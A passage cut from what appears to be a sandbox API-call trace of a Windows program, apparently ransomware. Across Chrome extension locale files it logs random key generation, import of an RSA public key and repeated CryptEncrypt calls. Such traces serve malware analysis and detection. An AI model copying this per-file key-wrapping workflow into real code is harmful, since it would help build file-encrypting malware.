Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.167] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.171] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.173] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.173] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.173] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.173] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.176] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.178] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.178] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.178] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.178] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.180] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784888) returned 1 [0244.180] CryptGetKeyParam (in: hKey=0x6784888, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.180] CryptEncrypt (in: hKey=0x6784888, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc080000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc080000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.181] GetLastError () returned 0x0 [0244.181] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.181] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.183] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784988) returned 1 [0244.183] CryptGetKeyParam (in: hKey=0x6784988, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.183] CryptEncrypt (in: hKey=0x6784988, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc090000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc090000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.183] GetLastError () returned 0x0 [0244.183] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.183] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.184] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0244.187] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.190] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.190] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.190] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.190] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0244.193] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.195] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.195] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.195] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.195] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.197] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784e88) returned 1 [0244.197] CryptGetKeyParam (in: hKey=0x6784e88, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.197] CryptEncrypt (in: hKey=0x6784e88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc0a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc0a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.198] GetLastError () returned 0x0 [0244.198] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.198] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.199] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784cc8) returned 1 [0244.199] CryptGetKeyParam (in: hKey=0x6784cc8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.199] CryptEncrypt (in: hKey=0x6784cc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc0b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc0b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.200] GetLastError () returned 0x0 [0244.200] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.200] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.200] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.203] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.205] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.206] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.206] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.206] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.208] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.210] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.210] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.210] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.210] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.213] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784a88) returned 1 [0244.213] CryptGetKeyParam (in: hKey=0x6784a88, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.213] CryptEncrypt (in: hKey=0x6784a88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc0c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc0c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.213] GetLastError () returned 0x0 [0244.213] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.213] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.215] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784ec8) returned 1 [0244.215] CryptGetKeyParam (in: hKey=0x6784ec8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.215] CryptEncrypt (in: hKey=0x6784ec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc0d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc0d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.215] GetLastError () returned 0x0 [0244.215] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.215] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.216] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.219] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.222] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.222] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.222] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.222] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.225] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.227] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.227] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.227] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.227] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.229] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784a08) returned 1 [0244.229] CryptGetKeyParam (in: hKey=0x6784a08, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.229] CryptEncrypt (in: hKey=0x6784a08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc0e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc0e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.230] GetLastError () returned 0x0 [0244.230] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.230] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.231] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784f08) returned 1 [0244.231] CryptGetKeyParam (in: hKey=0x6784f08, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.231] CryptEncrypt (in: hKey=0x6784f08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc0f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc0f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.231] GetLastError () returned 0x0 [0244.232] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.232] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.232] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.235] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.238] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.238] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.238] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.238] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0244.241] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.243] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.243] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.243] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.244] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.246] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784f48) returned 1 [0244.246] CryptGetKeyParam (in: hKey=0x6784f48, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.246] CryptEncrypt (in: hKey=0x6784f48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc100000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.246] GetLastError () returned 0x0 [0244.246] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.246] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.248] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784f88) returned 1 [0244.248] CryptGetKeyParam (in: hKey=0x6784f88, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.248] CryptEncrypt (in: hKey=0x6784f88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc110000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc110000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.248] GetLastError () returned 0x0 [0244.248] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.249] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.250] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.253] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.255] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.255] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.255] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.255] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.258] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.260] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.260] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.260] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.261] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.263] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784e08) returned 1 [0244.263] CryptGetKeyParam (in: hKey=0x6784e08, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.263] CryptEncrypt (in: hKey=0x6784e08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc120000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc120000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.263] GetLastError () returned 0x0 [0244.263] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.263] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0244.265] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784a48) returned 1 [0244.265] CryptGetKeyParam (in: hKey=0x6784a48, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.265] CryptEncrypt (in: hKey=0x6784a48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc130000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc130000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.265] GetLastError () returned 0x0 [0244.265] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.265] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.266] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.269] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.272] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.272] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.272] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.272] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.274] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.277] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.277] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.277] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.277] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.279] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784fc8) returned 1 [0244.279] CryptGetKeyParam (in: hKey=0x6784fc8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.279] CryptEncrypt (in: hKey=0x6784fc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc140000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc140000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.280] GetLastError () returned 0x0 [0244.280] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.280] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.282] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6784b08) returned 1 [0244.282] CryptGetKeyParam (in: hKey=0x6784b08, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.282] CryptEncrypt (in: hKey=0x6784b08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc150000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc150000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.282] GetLastError () returned 0x0 [0244.282] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.282] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 